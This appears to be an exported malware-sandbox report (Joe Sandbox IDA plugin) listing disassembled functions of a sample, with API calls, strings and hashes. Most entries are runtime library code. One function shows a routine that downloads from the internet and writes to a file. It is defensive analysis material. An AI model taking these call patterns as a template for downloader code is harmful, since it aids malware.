Strings

3/, xrefs: 0030AE10, 0030AE55
count, xrefs: 0030ADEF
ppVirtualProcessorRoots, xrefs: 0030AEA9

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementSwitchThreadstd::invalid_argument::invalid_argument
String ID: 3/$count$ppVirtualProcessorRoots
API String ID: 3791123369-1756397987
Opcode ID: 66f750ffc5bba7d8df2b3dfe9804e8c0a37b11fa78ca725961621556e515ca1c
Instruction ID: 56001064f7a23184bda8a9f4817aefe224c4e1b3dc495f4805abc487339f67ca
Opcode Fuzzy Hash: 66f750ffc5bba7d8df2b3dfe9804e8c0a37b11fa78ca725961621556e515ca1c
Instruction Fuzzy Hash: B9217334A007099FCB06DF55D5E59AEB7B5FF49350F054069E9029B291CB30AE40CF91

Uniqueness

Uniqueness Score: -1.00%

Function 002EAF3C Relevance: 15.2, APIs: 10, Instructions: 219networkfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 002EAF8C
InternetOpenA.WININET(0033C1BB,00000000,00000000,00000000,00000000), ref: 002EAFA2
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 002EAFC2
InternetReadFile.WININET(00000000,00000000,?,?), ref: 002EAFD3
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 002EAFF5
InternetReadFile.WININET(00000000,00000000,?,?), ref: 002EB000
CloseHandle.KERNEL32(?), ref: 002EB012
InternetCloseHandle.WININET(?), ref: 002EB021
InternetCloseHandle.WININET(00000000), ref: 002EB024
RemoveDirectoryA.KERNEL32(00000000,?,?,?), ref: 002EB0DD

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseHandle$OpenRead$CreateDirectoryRemoveWrite
String ID:
API String ID: 1496009958-0
Opcode ID: 488cffee8bb75283e0489429ce83c3debfd6422624da2cbf81d0b114f25da47a
Instruction ID: 22f3658a4cf731b9bd3932ede10edd098ebf6e26dd5cd3bcf1b81eb541663e13
Opcode Fuzzy Hash: 488cffee8bb75283e0489429ce83c3debfd6422624da2cbf81d0b114f25da47a
Instruction Fuzzy Hash: 67712171A50248ABEF1ADF60CC96BEE7769EF04310F504528F908AB2D1DB34E980CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0030A44B Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 0030A490
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 0030A4C2
List.LIBCONCRT ref: 0030A4FD
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 0030A50E
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 0030A52A
List.LIBCONCRT ref: 0030A565
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 0030A576
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 0030A591
List.LIBCONCRT ref: 0030A5CC
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 0030A5D9

Part of subcall function 00309950: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00309968
Part of subcall function 00309950: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 0030997A

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 28269a52f844bd6b0bb11319d7da6b153bd69c826bd19e1cc5584f753a31954b
Instruction ID: 00bea122390a5de012262005cb3e29e3beac5d1be6499e184bdb53a5db0917e9
Opcode Fuzzy Hash: 28269a52f844bd6b0bb11319d7da6b153bd69c826bd19e1cc5584f753a31954b
Instruction Fuzzy Hash: 93517075A01619AFDB09DF54C8A5BEDB3B8FF09304F0140A9E945AB2C2DB30EE04CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00312220 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00312248

Part of subcall function 00311FB5: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00311FE8
Part of subcall function 00311FB5: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0031200A

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 003122C5
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 003122D1
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 003122E0
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 003122EA
Concurrency::location::_Assign.LIBCMT ref: 0031231E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00312326

Strings

3/, xrefs: 00312276, 003122B2, 0031233A

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID: 3/
API String ID: 1924466884-2584162468
Opcode ID: 9ce511cedba789d1767b0f008324a8886331ff828a88c9bec97ad3ada1de2895
Instruction ID: db0f61e2688b1ec492d03162ae7d35b02141a32ddac84b59f53c4784c72efcb8
Opcode Fuzzy Hash: 9ce511cedba789d1767b0f008324a8886331ff828a88c9bec97ad3ada1de2895
Instruction Fuzzy Hash: DE414D35A00204DFCF0AEF64C494AAEB7B5FF48310F1585A9DD569B282DB34A951CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0030A88D Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 0030A8A7
GetCurrentProcess.KERNEL32 ref: 0030A8AF
DuplicateHandle.KERNEL32(00000000,000000FF,00000000,00000000,00000000,00000000,00000002), ref: 0030A8C4
SafeRWList.LIBCONCRT ref: 0030A8E4

Part of subcall function 003088DF: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 003088F0
Part of subcall function 003088DF: List.LIBCMT ref: 003088FA

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0030A8F6
GetLastError.KERNEL32 ref: 0030A905
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0030A91B

Strings

eventObject, xrefs: 0030A8EE

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: CurrentListProcess$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateErrorHandleLastLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 165577817-1680012138
Opcode ID: d329b67f5181e202705d0ab69338965bb8984c0a86cd35570b97670801ce1b24
Instruction ID: c37a26774f6e04371d750bd8fe3bd211f0235f6156fe8acadeed19253ae9181c
Opcode Fuzzy Hash: d329b67f5181e202705d0ab69338965bb8984c0a86cd35570b97670801ce1b24
Instruction Fuzzy Hash: E211E931501708EBCB16EBA4DC99FEE77BCAF14341F218125F605EA0D1DB70AA44D762

Uniqueness

Uniqueness Score: -1.00%

Function 00328FA2 Relevance: 13.8, APIs: 9, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a2f8acf08f7e6055d439b0c21dfa82e8a5e879bb408d3133a35d1003720a621
Instruction ID: c6ebec01fae5524118fc023b11ae5b1d40448e1af16771f828321f08820411ec
Opcode Fuzzy Hash: 6a2f8acf08f7e6055d439b0c21dfa82e8a5e879bb408d3133a35d1003720a621
Instruction Fuzzy Hash: 1CC1E074E04359EFDB1BDF98E880BADBBB8BF49300F05455AE554AB292D730AD41CB21

Uniqueness

Uniqueness Score: -1.00%

Function 0030B352 Relevance: 13.6, APIs: 9, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0030B374

Part of subcall function 00309729: __EH_prolog3_catch.LIBCMT ref: 00309730
Part of subcall function 00309729: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00309769

Concurrency::details::SchedulerBase::NotifyThrottledContext.LIBCONCRT ref: 0030B382

Part of subcall function 0030A38E: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 0030A3B3
Part of subcall function 0030A38E: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 0030A3D6

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0030B39B
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0030B3A7

Part of subcall function 00309729: InterlockedPopEntrySList.KERNEL32(?), ref: 003097B2
Part of subcall function 00309729: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 003097E1
Part of subcall function 00309729: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 003097EF

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 0030B3F3
Concurrency::location::_Assign.LIBCMT ref: 0030B414
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 0030B41C
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0030B42E
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 0030B45E

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$Context$Throttling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_EntryExerciseFoundH_prolog3_catchInterlockedListNextNotifyProcessor::RingSchedulingSpinStartupThrottledTicket::TimerUntilWith
String ID:
API String ID: 2678502038-0
Opcode ID: 1ea50c4f4d074f9fde3da9c441afe63307541fe3691a517c2200d08f13974f3b
Instruction ID: 8aa5289d30cb59dbad6544d147b4a0c19d378ede83d980f7fc6f0e0927a53a67
Opcode Fuzzy Hash: 1ea50c4f4d074f9fde3da9c441afe63307541fe3691a517c2200d08f13974f3b
Instruction Fuzzy Hash: 2331E430B06255ABCF17AF7884B27FEF7B99F45740F1500A9D855DB2C3DB244A098391

Uniqueness

Uniqueness Score: -1.00%

Function 003143F6 Relevance: 13.6, APIs: 9, Instructions: 69threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0031440C
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,0030971F,?), ref: 0031441E
GetCurrentThread.KERNEL32 ref: 00314426
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,0030971F,?), ref: 0031442E
DuplicateHandle.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000002,?,?,?,?,?,?,0030971F,?), ref: 00314447
Concurrency::details::RegisterAsyncWaitAndLoadLibrary.LIBCONCRT ref: 00314468

Part of subcall function 00303C81: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 00303C9B

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,0030971F,?), ref: 0031447A
GetLastError.KERNEL32(?,?,?,?,?,0030971F,?), ref: 003144A5
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 003144BB

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Current$Concurrency::details::ErrorLastLibraryLoadProcessThread$AsyncConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateHandleReferenceRegisterWait
String ID:
API String ID: 1293880212-0
Opcode ID: b6726f2efcc3a6ea4186387e149320b366aaa47eaa8fa37b46b7752d69550af7
Instruction ID: c0ff7986c3a2ccecd139abdfda11f7710dfe91bc0c0f74c642a045c5caa9e9f4
Opcode Fuzzy Hash: b6726f2efcc3a6ea4186387e149320b366aaa47eaa8fa37b46b7752d69550af7
Instruction Fuzzy Hash: AC110375A01300ABC716AFB59D8AFDA3BEC9F19301F180035FA49EA291EF70D9409B71

Uniqueness

Uniqueness Score: -1.00%

Function 003182B0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 003182E7
___except_validate_context_record.LIBVCRUNTIME ref: 003182EF
_ValidateLocalCookies.LIBCMT ref: 00318378
__IsNonwritableInCurrentImage.LIBCMT ref: 003183A3
_ValidateLocalCookies.LIBCMT ref: 003183F8

Strings

3/, xrefs: 003183BC
csm, xrefs: 0031838D

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: 3/$csm
API String ID: 1170836740-4239445279
Opcode ID: 3996105897c0ab57791a33847a56ce203003b85ea63202acb272102f50bce682
Instruction ID: cdef327c5bfba0cb7f33e0854a99e527cfe56d09431cdc58282750161be2ccbd
Opcode Fuzzy Hash: 3996105897c0ab57791a33847a56ce203003b85ea63202acb272102f50bce682
Instruction Fuzzy Hash: C441E63CA00208EFCF16DF68C885ADEBBB4AF09714F188555E8255F352CB31E995CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0031234E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0031238F
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00312397
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 003123C1
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 003123CA
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0031244D
Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 00312455

Strings

3/, xrefs: 003123AB, 00312410, 00312433, 00312464, 0031247B

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupInternalScheduleSegment$AssignAvailableConcurrency::location::_DeferredEventMakeProcessor::ReleaseRunnableSchedulerTraceVirtual
String ID: 3/
API String ID: 3929269971-2584162468
Opcode ID: 6a17bb63b550fc7d6c51600858dc84331d00c36f7f481a76e95c40bae67239bf
Instruction ID: 9c4cca4dcf0e954469c112f7dcac29218a26a458e879aa7921d9ff1b3a89d3cb
Opcode Fuzzy Hash: 6a17bb63b550fc7d6c51600858dc84331d00c36f7f481a76e95c40bae67239bf
Instruction Fuzzy Hash: A2416239A00219AFCB0ADF65C494AADB7B5FF4C310F018159E8569B391CB74AE51CF80

Uniqueness

Uniqueness Score: -1.00%

Function 00315597 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 003155B0

Part of subcall function 0031587F: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,003152F8), ref: 0031588F

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 003155C5
std::invalid_argument::invalid_argument.LIBCONCRT ref: 003155D4
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00315698

Strings

3/, xrefs: 00315606, 00315627
switchState, xrefs: 003155CC
pContext, xrefs: 00315690

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::std::invalid_argument::invalid_argument$ExecutionFreeIdleObjectProcessorProxy::ResetRoot::SingleSuspendThreadVirtualWait
String ID: 3/$pContext$switchState
API String ID: 1312548968-3232967033
Opcode ID: 50fca718d6dc993294362bf3c759a5e1f4e89b50ac57c419921e81e7ecc26203
Instruction ID: e330c11f6c3f5130892b4baa0957aa60e682b05dafa0a73b073b148af2031ffd
Opcode Fuzzy Hash: 50fca718d6dc993294362bf3c759a5e1f4e89b50ac57c419921e81e7ecc26203
Instruction Fuzzy Hash: CC31E635A00604DFCF0AEF68C885AED73BAEF98350F214569E9169B241DB70EE41CAD0

Uniqueness

Uniqueness Score: -1.00%

Function 0032235F Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00322389
_free.LIBCMT ref: 00322462
_free.LIBCMT ref: 0032248F

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: ae0a70d88e944e487e074df54b8efbc931884512b8c8f88872f70a1999873290
Instruction ID: 1c2fc157c3fa5ea401c0d9a171916b7a1f584738a1473500d0df28401830256a
Opcode Fuzzy Hash: ae0a70d88e944e487e074df54b8efbc931884512b8c8f88872f70a1999873290
Instruction Fuzzy Hash: 59516871D00325BFDB17AF64BC51AAFB7A8AF06310F21816EF910DB191EA719981CB51

Uniqueness

Uniqueness Score: -1.00%

Function 002F04E0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 185COMMON

Download Yara Rule

Strings

list too long, xrefs: 002F099D

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID:
String ID: list too long
API String ID: 0-1124181908
Opcode ID: c7b50913bc1e93842ebfa305369b8bfffb0082a16045bde4be59341bf8d90d74
Instruction ID: 435e2136bec91ee465c891b06607b0e35cf75308a2102994b4333d7ce2be1fdf
Opcode Fuzzy Hash: c7b50913bc1e93842ebfa305369b8bfffb0082a16045bde4be59341bf8d90d74
Instruction Fuzzy Hash: D661C1B5D047199BDB11DF64CD89BA9F7B8EF05700F0041AAE908AB292E770AA90CF51

Uniqueness

Uniqueness Score: -1.00%

Function 003115A1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 003115D5

Part of subcall function 0030C9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0030C9C1

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00311634
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0031165A
Concurrency::details::SchedulerBase::ReleaseInternalContext.LIBCONCRT ref: 0031167A
Concurrency::location::_Assign.LIBCMT ref: 003116C7

Part of subcall function 00314DA0: Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 00314DE5

Strings

3/, xrefs: 003115C0, 003116CE

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
